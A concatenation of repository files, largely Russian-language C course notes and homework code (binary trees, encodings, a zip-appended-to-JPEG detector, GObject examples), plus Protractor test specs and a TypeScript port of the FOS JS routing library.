узел(кроме корневого) ведет одна дуга. Узлы из которых ничего не выходит, называются **листья** Область применения: - Поиск данных(двоичное дерево в базах данных) - Сортировка данных - Вычисление арифметических выражений - Кодирование информации ```c struct Node{ данные; Node *left, *right; } typedef Node *PNode; ``` ### Двоичное(бинарное) дерево Дерево, в котором каждый узел имеет не более двух подчиненных узлов("сыновей") Слева от каждого узла находятся узлы с меньшими характеристиками, а с права - с большими ### Поиск по дереву ```c PNode Search(PNode Tree, int x) { if (!Tree) return NULL; if (x == Tree->data) return Tree; // Элемент найден if (x < Tree-> data) return Search(Tree->left, x); else return Search(Tree->right, x); } ``` ### Обход дерева - Инфиксная форма - слева на право(ЛКП - левый-корень-правый) - Префиксная форма - сверху вниз(КЛП - корень-левый-правый) - Посфиксная форма - снизу вверх(ЛПК - левый-правый-корень) ```c // LKP void LKP(PNode Tree){ if (!Tree) return; LKP (Tree->left); printf("%d", Tree->data); LKP(Tree->right); } ``` <file_sep>#include "../includes/libft.h" int ft_get_eocd(FILE *fd, struct EOCD *S_EOCD) { fseek(fd, -(EOCD_OFFSET), SEEK_END); fread(S_EOCD, sizeof(*S_EOCD), 1, fd); if (S_EOCD->signature != EOCD_SIGN) return 0; return 1; } // Переходим в конец jpeg файла и начало архива int ft_end_jpeg(FILE *fd) { int size_file; uint8_t TMP; uint8_t END_JPEG; fseek(fd, 1, SEEK_END); TMP = 0; size_file = ftell(fd); fseek(fd, 0, SEEK_SET); while (size_file) { fread(&END_JPEG, 1, 1, fd); if (TMP == JPEG_END_SIGN_1) if (END_JPEG == JPEG_END_SIGN_2) return 1; TMP = END_JPEG; size_file--; } return 0; } // Перебираем записи центральныхй дирректрой и выводим наименование файла, для каждой int ft_get_cr(FILE *fd, struct CentralDirectoryFileHeader *S_CR, struct EOCD *S_EOCD) { int i; int len; fseek(fd, (S_EOCD->centralDirectoryOffset), SEEK_CUR); i = 0; while (i < S_EOCD->numberCentralDirectoryRecord) { fread(S_CR, sizeof(*S_CR), 1, fd); if (S_CR->signature != CR_SIGN) return 0; // 2 байта, как я понял являются замыкающей сигнатуроя, // которая уже является начлом следующей записи len = (S_CR->filenameLength); while (len--) printf("%c", fgetc(fd)); printf("\n"); if (S_CR->extraFieldLength) fseek(fd, S_CR->extraFieldLength , SEEK_CUR); if (S_CR->fileCommentLength) fseek(fd, S_CR->fileCommentLength, SEEK_CUR); i++; } // Считаем отсуп от конца файла, до последней Central Records //offset = (S_EOCD->sizeOfCentralDirectory / S_EOCD->totalCentralDirectoryRecord) + //EOCD_OFFSET; // Если частное с остатком добавить единицу //if (S_EOCD->sizeOfCentralDirectory % S_EOCD->totalCentralDirectoryRecord) // offset++; return 1; } int ft_rar(char *argv[], int i) { FILE *fd; struct EOCD S_EOCD; struct CentralDirectoryFileHeader S_CR; if ((fd = fopen(argv[i], "r")) == NULL) ft_error(argv, i, errno); if (ft_get_eocd(fd, &S_EOCD)) { if (ft_end_jpeg(fd)) { if (!(ft_get_cr(fd, &S_CR, &S_EOCD))) ft_error(argv, 1, ERR_BAD_RAR); } else ft_error(argv, i, ERR_NOT_JPEG); } else ft_error(argv, i, ERR_NOT_RAR); fclose(fd); return 0; } <file_sep>#define CP_1251 #include "../includes/libft.h" int ft_cp1251(char *argv[]) { int a; int num; int buff; FILE *in_stream; FILE *to_stream; // Открытие файла в сторой кодировке, а именно cp1251 if ((in_stream = fopen(argv[1], "r")) == NULL) ft_error(argv, errno); a = getc(in_stream); if (a == -1) ft_error(argv, ERR_EMPTY_FILE); if ((to_stream = fopen(argv[3], "w")) == NULL) { argv[1] = argv[3]; ft_error(argv, errno); } while (a != -1) { if (a > 175 && a < 256) { num = a - 192; buff = cp_1251[num]; if (buff > 127 && buff < 144) fputc(209, to_stream); else if (buff > 143 && buff < 192) fputc(208, to_stream); fputc(buff, to_stream); } else fputc(a, to_stream); a = getc(in_stream); } fclose(in_stream); fclose(to_stream); return 0; } <file_sep># Статические структуры данных ## Лекция ### Массивы ```c //многомерный массив(на три строки и 4 колонки(элемента)(row-major order - сначала указываются строки) int a[3][4]= { {0,1,2,3}, {4,5,6,7}, {8,9,10,11} } ``` `23:30` sizeof не возвращает размер массива через указатель, только массив Количество элементов в массиве: `sizeof array / sizeof array[0]` (размер всего массива, на массив элемента, не работает с указателем) `27:38` массивы переменной длины(variable lang array) При вызове массива переменной длины, не нужно освобождать памыть, память будет использована на уровне стека ```c float read_andprocess(int n) { float vals[n]; for(int i = 0; i < n; ++i) vals[i] = read_val(); return process(n,vals); } ``` `32:56` rlineks, системный вызов для вывода текущего размера стека адреса на куче начинаются с `7f` а на стеке с `1` Размещение кода на стеке(не бо лее 1М) на порядок быстрее, но на куче(виртуальная память, как 2GB так и более) надежнее `33:15` о кучах и стеке будет подробнее в теме POSIX `35:15` Flexible array member(Гибкий элемент массива) CPython - референсная имплементация языка python, когда запускается python'овский скрипт, запускается CPython, Описанани того, что в языке python является строкой: <CPython/Include/stringobject.h> ```c typedef struct { PyObject_VAR_HEAD long ob_shash; int ob_sstate; char ob_sval[1]; }PyStringObject; ``` ### Cтроки 33:20 `char`(8bit) or `wchar_t`(16bit)(т.н. multibyte character sequence, MBCS) ```c char* str = "hello"; #include <wchar.h> wchar_t* wstr = L"hello"; ``` ### Кодировки coi8 русские символы: cp1251,cp866 `55:00` Кирилический символ `A`: Code points. Cyrillic Capital Letter A - U+0410 Кодировки: UTF-8, UTF-16(LE/BE), UTF-7, UCS-4 и т.д. #### libicu.h `58:13` - библиотека libicu.h(international components for unicode), для обработки строк отличных от стандарта asci `01:00:00` - Unicode sandvich #### iconv.h `01:01:01` - <iconv.h>,библиотека для конвертации unicod'a Важно следить за тем в какой кодировке сохранен файл с исходным кодом ### Функции 01:07:00 `01:07:50` - callback, `C` не является функциональным языком `01:15:00` - соглашения вызова Некий протокол определящий каким образом функция получает аргументы и возвращает, возвращает через регистр RAX,EAX `cdecl`, `stdcall`, `fastcall`, `thiscall` `01:21:00` функции с переменным числом аргументов, <stdarg.h>, *va_list*, *va_start*, *va_arg*, *va_end*(variable argument) Используются при организации логирования или манипулированием строками `01:30:31` - `name mangling` коверканье имен ### Файлы 01:36:00 FILE* - т.н. opaque pointer(прозрачный указатель, тж "чеширский кот"), неопределенный тип(incomplete) ```c #include <stdio.h> FILE* stdin; // 0 дескриптор FILE* stdout; // 1 дескриптор FILE* stderr; // 2 дескриптор FILE* fopen(const char* filename, const char* mode); //mode: "r", "w", "a"; modifiers: "+", "b", "x" ; //a-append(rw), + возможность дописывать, b бинарный режим, "x" - возвращает 0-ой указатель если файл существует,и открыт на запись //используется при обработке ошибок, если fopen вернет 0, значит файл неполучилось открыть int fclose(FILE* fp); //нужно закрывать файлы, так как кол-во файловых дескрипторов ограничено int fflush(FILE* fp); // сброс буферов на диск, например при записи файлов // Блок функций отвечающих за чтение по сложности: символ, строку, также строку с доп функциями, последняя работает как scanf, только для файлов int fgetc(FILE* fp); char* fgets(char* str, int num, FILE* fp); size_t fread(void* ptr, size_t size, size_t count, FILE* fp); int fscanf(FILE* fp, const char* format, ...); //Блок функций отвечающих за запись int fputc(int character, FILE* fp) int fputs(const char* str, FILE* fp); size_t fwrite(const void* ptr, size_t size, size_t count, FILE* fp); int fprintf(FILE* fp, const char* format, ...); // 01:47:00 - несколько моментов по прокрутке // Прокрутка указателя на текущий символ(байт) в файле: файл, offset-место, origin - направление прокрутки(произвольная, произвольная начинаю с текущей, произвольная с конца) int fseek(FILE* fp, long int offset, int origin); //origin указывает на направление прокрутки и может иметь значения SEEK_SET(Начало файла), SEEK_CUR(текущее положение файла), SEEK_END(конец файла) // Получение текущего места указателя в файле long int ftell(FILE* fp) ``` `01:38:00` curl CURL* - также неопределенный тип ## Фишки `18:43` Обращение к массиву ```c // E1[E2] is identical to (*((E1)+(E2))) - во второй части, как я думаю можно поменять местами слагаемые int array[2]; array[2]; 2[array]; *(array[0] + 2); ``` `21:42` Скорость обращения к массиву Из-за формы row-major order(сначала указываются строки), обращение к массиву по горизонтале работает быстрее чем по вертикали `22:00` - минимальный размер куска кеша(процессора), который будет запрошен для отдачи информации, для x86 - 64 байта, это порядка 8-ми int'ов `01:06:00` Представление длинной строки без выхода за 80 колонку, при компиляции строка склеится ```c static const char* str = "my very very" "very very very" "long string constant"; //or printf("%f; %f\n", average(2, 1.0, 2.0), average(3, 1.0, 2,0 3,0)); ``` ## Литература `~45:00` Алгоритм маляра Шлемиля (Спольски Дж.Джоэл о программировании). Poul-Henning Kamp, The Most Expensive One-byte Mistake: <https://queue.acm.org/detail.cfm?id=2010365> Список строковых функций: <https://en.wikipedia.org/wiki/C_string_handling> COM-строки(BSTR) Unicode и кодировки: <https://cyberforum.ru/blogs/33029/blog5139.html> Отладка Windows приложений Джон Робинс, ассемблер ## Дополнительно `01:09:00` C gibberish <-> english:<https://cdecl.org> `slack` Сравнение функиональных языков [link]<https://github.com/cblp/funlangs> `slack` Библиотека функций для работы с Unicode-строками [link]<http://site.icu-project.org/home>, документация [link]<https://unicode-org.github.io/icu-docs/apidoc/released/icu4c/> `slack` Стандарты языка С89(С90) [link]<http://port70.net/~nsz/c/c89/c89-draft.html>, C90 [link]<https://otus-cpp.slack.com/files/U01JQ774V50/F01M6UCLMTQ/c99.pdf?origin_team=T7UJAV3SP&origin_channel=G01J3GB1X35>, C11 [link]<https://otus-cpp.slack.com/files/U01JQ774V50/F01M6UCCG5U/c11.pdf?origin_team=T7UJAV3SP&origin_channel=G01J3GB1X35>. ### При выполнении ДЗ Статья по _unicode_ на _habr'e_([link](https://habr.com/en/company/xakep/blog/257895/)) Таблица ascii([link](https://ru.wikipedia.org/wiki/Windows-1251#/media/%D0%A4%D0%B0%D0%B9%D0%BB:Ascii1.gif)) и её раширенный вариант([link](https://ru.wikipedia.org/wiki/Windows-1251#/media/%D0%A4%D0%B0%D0%B9%D0%BB:Windows-1251-upper-half.gif)) Таблица koi8-r([link](https://ru.wikipedia.org/wiki/%D0%9A%D0%9E%D0%98-8#%D0%9A%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_KOI8-R_(%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B0%D1%8F%29)) Обработка килиллицы в Си([link](https://ru.stackoverflow.com/questions/705268/%D0%9A%D0%B0%D0%BA-%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%B0%D1%82%D1%8B%D0%B2%D0%B0%D1%82%D1%8C-%D0%BA%D0%B8%D1%80%D0%B8%D0%BB%D0%BB%D0%B8%D1%86%D1%83-%D0%BD%D0%B0-%D1%81%D0%B8-%D0%B2-%D0%BB%D0%B8%D0%BD%D1%83%D0%BA%D1%81)) Вывод _hexdecimal_ значения символа в нужной кодировке: ```sh iconv -f utf8 -t cp1251 input_file -o output_file echo -n "а" | iconv -f utf8 -t cp1251 | hexdump -C echo -n "а" | hexdump -C ``` ### Спойлеры `01:41:00` - открытие файла в бинарном режиме, например картинка png `01:48:48` - читать файл по строчке `while(fgets(buf,MAXLINE,stdin) != NULL`, а потом собирать строку. Посмотреть `strcat`,`strcpi` ### Домашка Статья по unicode Написать аналог `iconv`, но не использовать саму функцию Посмотреть как все организовано на уровне байтов и что происходит под капотом обработка флагов `-Wall -Wextra -Wpedantic -std=c11` `-Wall` - все warning `-Wextra` - дополнительные warning `-Wpedantic` - warning специального режима `-std=c11` - 11 стандарт Три аргумента для программы Входной файл, заданая кодировка входного файла и выходной файл Аргументы через `getopt`(длинный, короткий), а можно принимать три, проверять что их три, если не три Выходить и также понимать что первый входной файл, второй кодировка, третий выходной файл Для создание таблиц, вывести числовые коды неанглоязычных символов и перекодировать через `iconv` <file_sep>#define ERROR #include "../includes/libft.h" void ft_error(char *argv[], int i, int error) { char *errorbuf; errorbuf = strerror(error); g_error = error; if (error == ERR_NON_ARG) fprintf(stderr, "Usage: %s <file> ...\n", argv[0]); else if (error == ERR_NOT_RAR) fprintf(stderr, "%s: %s: Not RARJPEG file.\n", argv[0], argv[i]); else if (error == ERR_NOT_JPEG) fprintf(stderr, "%s: %s: Not JPEG file.\n", argv[0], argv[i]); else if (error == ERR_BAD_RAR) fprintf(stderr, "%s: %s: Bad archive\n", argv[0], argv[i]); else fprintf(stderr, "%s: %s: %s\n", argv[0], argv[i], errorbuf); //exit(error); } <file_sep>#ifndef _ANIMAL_PREDATOR_H_ #define _ANIMAL_PREDATOR_H_ #include <glib-2.0/glib-object.h> G_BEGIN_DECLS #define ANIMAL_TYPE_PREDATOR animal_predator_get_type() G_DECLARE_INTERFACE(AnimalPredator, animal_predator, ANIMAL, PREDATOR, GObject) struct _AnimalPredatorInterface { GTypeInterface parent; void (*hunt)(AnimalPredator *); void (*eat_meat)(AnimalPredator *, int); }; void animal_predator_hunt(AnimalPredator *self); void animal_predator_eat_meat(AnimalPredator *self, int quantity); G_END_DECLS #endif /* _ANIMAL_PREDATOR_H_ */ <file_sep># Введение ## Git ### Сайты git-scm [link](https://git-scm.com/) tortoisegit [link](https://tortoisegit.org/) ### Материалы git-scm [link](https://git-scm.com/book/ru/v2) www-cs-students [link](http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/ru/) guides [link](https://guides.github.com/activities/hello-world/) ### Интерактивные туры githowto [link](https://githowto.com/ru) learngitbranching [link](https://learngitbranching.js.org/?locale=ru_RU) ## Cтатистика TIOBE proggramming Community Index: [link](http://www.tiobe.com/tiobe-index/) ## Другие языки **ada**, **asembler**, **cobol**, **fortran**, **haskell**(90), **Pascal** -> **Delphy**, **perl**, **lisp**, ## Стандарты C 1978 K&R C (classic C) 1989 ANSI C 1990 ISO C 1999 C99 2011 C11 ## Компиляторы **GCC** - набор компиляторов **Clang** - транслятор для С-подобных языков, созданный для работы на базе LLVM/ **Mingw** - набор инструментов разработки ПО, для создания ПО под win **Cygwin** - unix-подобная среда и интерфейс командной строки для win ## Среды разработки **clion** **Code::Blocks**(cross) **Eclipse** **nvcc** **Pelles C**(win) **sublime3** **vim** **visual** **studio**(win) **vscode**(_plugins: C/C++, C/C++ compile run, Code Runner(settings, run in terminal)_) **xcode**(apple) ## Online среды разработки **Koding** - виртуалки под ubuntu **Jdoodle** - совместные проекты online **CodePad** - минимальные ресурсозатраты **onlinegdb.com** - для С/С++ ## Список рекомендуемой литературы 1. <NAME>, <NAME>: Язык программирования си 2. Эндрю Таненбаум. Архитектура компьютера 3. Эндрю Таненбаум. Современные операционные системы 4. <NAME> Стивенс. UNIX. Профессиональное программирование 5. <NAME>. Отладка Windows-приложения 6. <NAME>. Си на примерах. Практика и только практика,2019 7. Гриффитс Д. Изучаем программирование на С, Эксмо 2013 8. Клеменс Бен. Язык С в XXI веке 9. <NAME>acord. Effective C. San Francisco: No strach press. 2020 10. Б<NAME>. Изучаем Arduino: инструменты и методы технического волшебства, 2015 11. Н.Вирт. Алгоритмы + структуры данных = программы 12. Р.Седжвик Фундаментальные алгоритмы на C. 13. Д.Кнут. Основы программирования. <file_sep>#include <stdio.h> #include "./animaltiger.h" #include "./animalpredator.h" static void animal_tiger_predator_interface_init(AnimalPredatorInterface *iface); struct _AnimalTiger { AnimalCat parent; }; G_DEFINE_TYPE_WITH_CODE(AnimalTiger, animal_tiger, ANIMAL_TYPE_CAT, G_IMPLEMENT_INTERFACE(ANIMAL_TYPE_PREDATOR, animal_tiger_predator_interface_init)) static void animal_tiger_predator_hunt(AnimalTiger *self) { printf("Tiger hunts. Beware!\n"); } static void animal_tiger_predator_eat_meat(AnimalTiger *self, int quantity) { printf("Tiger eats %d kg of meat.\n", quantity); } static void animal_tiger_predator_interface_init(AnimalPredatorInterface *iface) { iface->hunt = animal_tiger_predator_hunt; iface->eat_meat = animal_tiger_predator_eat_meat; } static void animal_tiger_real_say_meow(AnimalTiger *self) { printf("Tiger say: ARRRRGH!!!\n"); } static void animal_tiger_class_init(AnimalTigerClass *self) { printf("First instance of AnimalTiger was created.\n"); AnimalCatClass *parent_class = ANIMAL_CAT_CLASS(self); parent_class->say_meow = animal_tiger_real_say_meow; } static void animal_tiger_init(AnimalTiger *self) { printf("Tiger cub was born.\n"); } AnimalTiger *animal_tiger_new() { return g_object_new(ANIMAL_TYPE_TIGER, NULL); } <file_sep>// struct GNode { // gpointer data; // GNode *next; // GNode *prev; // GNode *parent; // GNode *children; // }; <file_sep>/* Приведение размера структуры, до четного значения, здесь расширение char до 2 байт */ #include <stdio.h> #pragma pack(push, 1) typedef struct { unsigned char x; unsigned short y; unsigned int z; } my_arg_t_pragma; #pragma pack(pop) typedef struct { unsigned char x; unsigned short y; unsigned int z; } my_arg_t_without_pragma; int main(){ printf("size of data is %d\n", sizeof(my_arg_t_pragma)); printf("size of data is %d\n", sizeof(my_arg_t_without_pragma)); }
a373036bea1dbac65a33aa37b5d4e17ec42a83b8
[ "Markdown", "C", "Makefile" ]
91
C
dbudakov/otus-c-2021-01
029f386a5c2edc799df57c157a8587f00dd6bf24
2b7d97b30ff23746cf2509c7b18475072e453eef
refs/heads/master
<repo_name>cristiansotir/cristian_sotir<file_sep>/Project1/03_Pages/LoadPage.js /********************************************************************************** * *Created by: * *Description: * * * **********************************************************************************/ module.exports = (function (loadPage) { loadPage.loadingPage = function (URL){ //open page browser.get(URL); //click Learn Button loadPage.learnButtonClick(); //Check Tutorial Visibility expect (loadPage.tutorialButtonPresent()).toBeTruthy(); //Check FAQ Visibility expect (loadPage.faqButtonPresent()).toBeTruthy(); //Check Videos Visibility expect (loadPage.videosButtonPresent()).toBeTruthy(); //Check Case Studies Visibility expect (loadPage.caseStudiesButtonPresent()).toBeTruthy(); }; return loadPage; })(require('../02_Functions/basePageObj.js'));<file_sep>/Project1/03_Pages/LogoutCURAHealthcareService.js module.exports = (function (logoutCura) { logoutCura.logoutCuraPage = function () { //click Option logoutCura.optionToLogoutButtonClick(); browser.sleep(5000); //click logout logoutCura.logoutButtonClick(); browser.sleep(5000); }; return logoutCura; })(require('../02_Functions/basePageObj.js'));<file_sep>/Project1/01_Scenarios/spec_GenerateMultipleCNP.js describe('spec_GenerateMultipleCNP', function() { var generateMultipleCNP = require ('../03_Pages/GenerateMultipleCNP.js'); var testdata = require('../04_InputData/InputMultipleData.json'); testdata.forEach( function (data) { fit('Generate Multiple CNP', function() { generateMultipleCNP.generateNewMultipleCNPfunction (data.URL_generate_CNP, data.genderM, data.datanasteriiCNP, data.taraCNP, data.judetCNP); });// close Generate CNP function }); //close testdata function it('Generate Single CNP', function() { n = 32 generateMultipleCNP.generateNewMultipleCNPfunction (testdata[n].URL_generate_CNP, testdata[n].genderF, testdata[n].datanasteriiCNP, testdata[n].taraCNP, testdata[n].judetCNP); });// close Generate CNP function });<file_sep>/Project1/01_Scenarios/spec_TutorialClickTest.js /********************************************************************************** * *Created by: * *Description: * * * **********************************************************************************/ describe('spec_TutorialClickTest', function() { var tutorialClick = require('../03_Pages/TutorialClick.js'); var testdata = require('..//04_InputData/InputData.json'); testdata.forEach( function (data) { it('Open the page', function() { tutorialClick.tutorialButtonClickFunction (data.URL); }); }); });<file_sep>/Project1/01_Scenarios/spec_CuraLoginLogout.js describe('spec_CuraLoginLogout', function () { var loginCura = require('../03_Pages/LoginCURAHealthcareService.js'); var logoutCura = require('../03_Pages/LogoutCURAHealthcareService.js'); var testdata = require('../04_InputData/InputData.json'); testdata.forEach (function (data) { it('Login and Logout', function () { //do login loginCura.loginCuraPage (data.URLCura, data.username, data.password, data.messageafterlogin); //do logout logoutCura.logoutCuraPage(); }); }); // close data }); //close main function<file_sep>/Project1/03_Pages/GenerateCNP_20200505.js module.exports = (function (generateCNP20200505) { generateCNP20200505.generateCNP20200505function = function (URL, gender, dataNasterii, tara, judet){ //deschidere pagina browser.get (URL); //selectare Gender generateCNP20200505.selectGenderFromList4CNP (gender); //fill Data Nasterii generateCNP20200505.dataNasteriiField4CNP(dataNasterii); //choose country generateCNP20200505.selectTaraFromList4CNP(tara); //choose county generateCNP20200505.selectJudetFromList4CNP(judet); //click Genereaza CNP generateCNP20200505.genereazaCnpButton4CNP(); //print cnp var CNP; CNP = element(by.id("cnp")).getText(CNP).then(function(CNP){ console.log ("CNP_ul generat este" + " " +CNP); }); browser.sleep(5000); }; return generateCNP20200505; })(require('../02_Functions/basePageObj.js'));<file_sep>/Project1/01_Scenarios/spec_GenerateCnp20200505.js describe('spec_GenerateCNP20200505', function() { var generateCNP20200505 = require ('../03_Pages/GenerateCNP_20200505.js'); var testdata = require('../04_InputData/InputData.json'); testdata.forEach( function (data) { it('Generate CNP 20200505', function() { generateCNP20200505.generateCNP20200505function (data.URL20200505, data.genderF, data.datanasteriiCNP, data.taraCNP, data.judetCNP); });// close Generate CNP function it('Generate CNP 20200505', function() { generateCNP20200505.generateCNP20200505function (data.URL20200505, data.genderM, data.datanasteriiCNP, data.taraCNP, data.judetCNP); });// close Generate CNP function }); //close testdata function });<file_sep>/Project1/03_Pages/GenerateMultipleCNP.js module.exports = (function (generateMultipleCNP) { generateMultipleCNP.generateNewMultipleCNPfunction = function (URL, gender, dataNasterii, tara, judet){ //deschidere pagina browser.get(URL); expect(browser.getCurrentUrl()).toBe(URL); //selectare Gender generateMultipleCNP.selectGenderFromList4CNP (gender); //fill Data Nasterii generateMultipleCNP.dataNasteriiField4CNP(dataNasterii); //choose country generateMultipleCNP.selectTaraFromList4CNP(tara); //focus off generateMultipleCNP.focusFunctionCNPClick(); //choose county generateMultipleCNP.selectJudetFromList4CNP(judet); //click Genereaza CNP generateMultipleCNP.genereazaCnpButton4CNP(); //print cnp var CNP; CNP = element(by.id("cnp")).getText(CNP).then(function(CNP){ console.log ("CNP_ul generat este" + " " +CNP); }); }; return generateMultipleCNP; })(require('../02_Functions/basePageObj.js'));<file_sep>/Project1/03_Pages/LoginCURAHealthcareService.js module.exports = (function (loginCura) { loginCura.loginCuraPage = function (URLCura, username, password, messageafterlogin) { //open page browser.get(URLCura); //click Make Appointment Button loginCura.makeAppoitnmentButtonClick(); //insert user name loginCura.inserUserName(username); //insert password loginCura.insertPassword(password); //Click Login loginCura.loginButtonclick(); //check Make Appointment text is visible expect (loginCura.checkMakeAppointmentText()).toBe(messageafterlogin) }; return loginCura; })(require('../02_Functions/basePageObj.js'));<file_sep>/Project1/03_Pages/ScrollExamplePage.js module.exports = ( function (scrollExample){ scrollExample.scrollingExample = function(URL){ //open page browser.get(URL); //Click learn button scrollExample.learnButtonClick(); //check tutorial visibility expect (scrollExample.tutorialButtonDisplayed()).toBeTruthy(); //click tutorial button scrollExample.tutorialButtonClick(); //scroll to button Back to top scrollExample.scrollElemFinderIntoView(scrollExample.backToTopLocator); browser.sleep(3000); //click on button Back to top scrollExample.backToTopButtonClick(); browser.sleep(3000); //Click learn button scrollExample.learnButtonClick(); //click FAQ button scrollExample.FaqButtonClick(); //scroll to button Back to top scrollExample.scrollElemFinderIntoView(scrollExample.backToTopLocator); browser.sleep(3000); //click on button Back to top scrollExample.backToTopButtonClick(); browser.sleep(3000); //Click learn button scrollExample.learnButtonClick(); //click Videos button scrollExample.videosButtonClick(); // //Click Case Studies // scrollExample.caseStudiesButtonClick(); }; return scrollExample; })(require('../02_Functions/basePageObj.js')); <file_sep>/Project1/01_Scenarios/spec_ScrollExample.js describe('spec_ScrollExample', function() { var scrollExample = require ('../03_Pages/ScrollExamplePage.js'); var testdata = require('../04_InputData/InputData.json'); testdata.forEach( function (data) { it('Scroll Page', function() { scrollExample.scrollingExample (data.URL); }); }); });
45fa294b83bd56dad500f3176376202f448795eb
[ "JavaScript" ]
11
JavaScript
cristiansotir/cristian_sotir
3fd916ac1c523d8aed4e5c7d21b81e928c489936
3478d18626e00c65dfc4449ed366d039fd7a41dc
refs/heads/master
<file_sep>import React from 'react'; import "./styles/CharmCard.css"; import sprites from "../assets/charms.png"; const CharmCard = ({position, handleOnClick}) => { const {id, backgroundPosition} = position; const style = {backgroundImage: `url(${sprites})`, backgroundPosition}; return ( <button onClick={() => handleOnClick(id)} style={style} className="charm-card"> </button> ); } export default CharmCard;<file_sep># Hollow Knight Charm Journal A list of charms from Hollow Knight. Clicking on the image displays the description and notch cost of the selected charm. This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app). ## Getting Started Run the following commands from the root of the api folder. First, install the dependencies using `npm`. ``` npm install ``` Start the api application. ``` npm start ``` Run these commands from the root of the client folder. Open a second terminal, navigate to the client folder and install the dependencies. ``` npm install ``` Finally, start the client application. ``` npm start ``` If the server does not automatically open a browser, open a new tab in your browser and navigate to [http://localhost:3000/](http://localhost:3000/). ## Dependencies - Express v4.16.3 - CORS v2.8.5 - React & react-dom v16.12.0 ## Notes - Currently missing Soul Catcher, Shaman Stone and Mark of Pride.
a196e14689df571aa3a129e1f3f4d834374dbf10
[ "JavaScript", "Markdown" ]
2
JavaScript
Dani-Gonzo/charm-journal
7d7429e9e6a34d090350eb2b2df53e57fcbe1282
d4b696acfa10b180da567e4e5e00d84d697c6edf
refs/heads/master
<file_sep>import {SingletonRouter} from "./singleton-router"; export * from "../router"; window['Routing'] = SingletonRouter.getInstance(); window['fos'] = { Router: SingletonRouter };<file_sep># Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). ## [Unreleased] ## [1.0.6] - 2020-01-27 ### Fix - Fixed router shim, now it works as expected - Updated dependencies to fix security vulnerabilities ## [1.0.5] - 2019-01-14 ### Fix - Fixed typo in CHANGELOG - Updated dependencies to fix security vulnerabilities ## [1.0.4] - 2018-06-07 ### Added - Fixed typo in README - CHANGELOG is now included in npm package ## [1.0.3] - 2018-06-07 ### Added - Added `Installation` section to README ## [1.0.2] - 2018-06-07 ### Added - Added yarn/npm `lock` files to `.gitignore` ### Fix - Fixed typings entry point in `package.json`, that was pointing to wrong folder ## [1.0.1] - 2018-06-07 ### Added - README fully written - src folder now also included in npm package, as of source maps need to point somewhere ### Fix - Added `src/index.ts` that exports all of package contents to generate proper `d.ts` declarations - Typings moved from `dist/src` folder to `dist`, so now each `d.ts` file is alongside with corresponding `js` file, so IDE's can consume them ## [1.0.0] - 2018-06-07 ### Added - Added README, saying that this is a WIP project - Added router - Added singleton router in `shim` folder - Added MIT LICENCE <file_sep>export * from "./router" export * from "./shim" <file_sep>export class Router { private context: Context = {base_url: '', prefix: '', host: '', scheme: ''}; private routes: RoutesMap; constructor(context: Partial<Context> = {}, routes: RoutesMap = {}) { this.context = {...this.context, ...context}; this.setRoutes(routes); } setRoutingData(data: RoutingData): void { this.setBaseUrl(data.base_url); this.setRoutes(data.routes); if ('prefix' in data) { this.setPrefix(data.prefix); } this.setHost(data.host); this.setScheme(data.scheme); } setRoutes(routes: RoutesMap): void { this.routes = Object.freeze(routes); } getRoutes(): RoutesMap { return this.routes; } setBaseUrl(baseUrl: string): void { this.context.base_url = baseUrl; } getBaseUrl(): string { return this.context.base_url; } setPrefix(prefix: string): void { this.context.prefix = prefix; } setScheme(scheme: string): void { this.context.scheme = scheme; } getScheme(): string { return this.context.scheme; } setHost(host: string): void { this.context.host = host; } getHost(): string { return this.context.host; } getRoute(name: string): Route { const prefixedName = this.context.prefix + name; if (prefixedName in this.routes) { return this.routes[prefixedName] } else if (name in this.routes) { return this.routes[name] } throw new Error(`The route "${name}" does not exist.`); } generate(name: string, params: RouteParams = {}, absolute = false): string { const route = this.getRoute(name); let unusedParams = {...params}; let url = ''; let isOptional = true; let host = ''; route.tokens.forEach(rawToken => { const token = this.parseToken(rawToken); if (TokenType.Text === token.type) { url = token.pattern + url; isOptional = false; return; } if (TokenType.Variable === token.type) { let hasDefault = route.defaults && (token.name in route.defaults); if (false === isOptional || !hasDefault || ((token.name in params) && params[token.name] != route.defaults[token.name]) ) { let value; if (token.name in params) { value = params[token.name]; delete unusedParams[token.name]; } else if (hasDefault) { value = route.defaults[token.name]; } else if (isOptional) { return; } else { throw new Error(`The route "${name}" requires the parameter "${token.name}".`); } const isEmpty = true === value || false === value || '' === value; if (!isEmpty || !isOptional) { let encodedValue = encodeURIComponent(value).replace(/%2F/g, '/'); if ('null' === encodedValue && null === value) { encodedValue = ''; } url = token.prefix + encodedValue + url; } isOptional = false; } else if (hasDefault && (token.name in unusedParams)) { delete unusedParams[token.name]; } return; } }); if (url === '') { url = '/'; } if (Array.isArray(route.hosttokens)) { route.hosttokens.forEach(rawToken => { let value: string|number; const token = this.parseToken(rawToken); if (TokenType.Text === token.type) { host = token.pattern + host; return; } if (TokenType.Variable === token.type) { if (token.name in params) { value = params[token.name]; delete unusedParams[token.name]; } else if (route.defaults && (token.name in route.defaults)) { value = route.defaults[token.name]; } host = token.prefix + value + host; } }); } url = this.getBaseUrl() + url; if (route.requirements && ("_scheme" in route.requirements) && this.getScheme() != route.requirements["_scheme"]) { url = route.requirements["_scheme"] + "://" + (host || this.getHost()) + url; } else if ("undefined" !== typeof route.schemes && "undefined" !== typeof route.schemes[0] && this.getScheme() !== route.schemes[0] ) { url = route.schemes[0] + "://" + (host || this.getHost()) + url; } else if (host && this.getHost() !== host) { url = this.getScheme() + "://" + host + url; } else if (absolute === true) { url = this.getScheme() + "://" + this.getHost() + url; } if (Object.keys(unusedParams).length > 0) { let queryParams = []; const add = (key, value) => { value = (typeof value === 'function') ? value() : value; value = (value === null) ? '' : value; queryParams.push(encodeURIComponent(key) + '=' + encodeURIComponent(value)); }; for (let prefix in unusedParams) { this.buildQueryParams(prefix, unusedParams[prefix], add); } url = url + '?' + queryParams.join('&').replace(/%20/g, '+'); } return url; } private buildQueryParams(prefix: string, params: any[]|object|string, add: QueryParamAddFunction): void { const rbracket = new RegExp(/\[\]$/); if (params instanceof Array) { params.forEach((val, i) => { if (rbracket.test(prefix)) { add(prefix, val); } else { 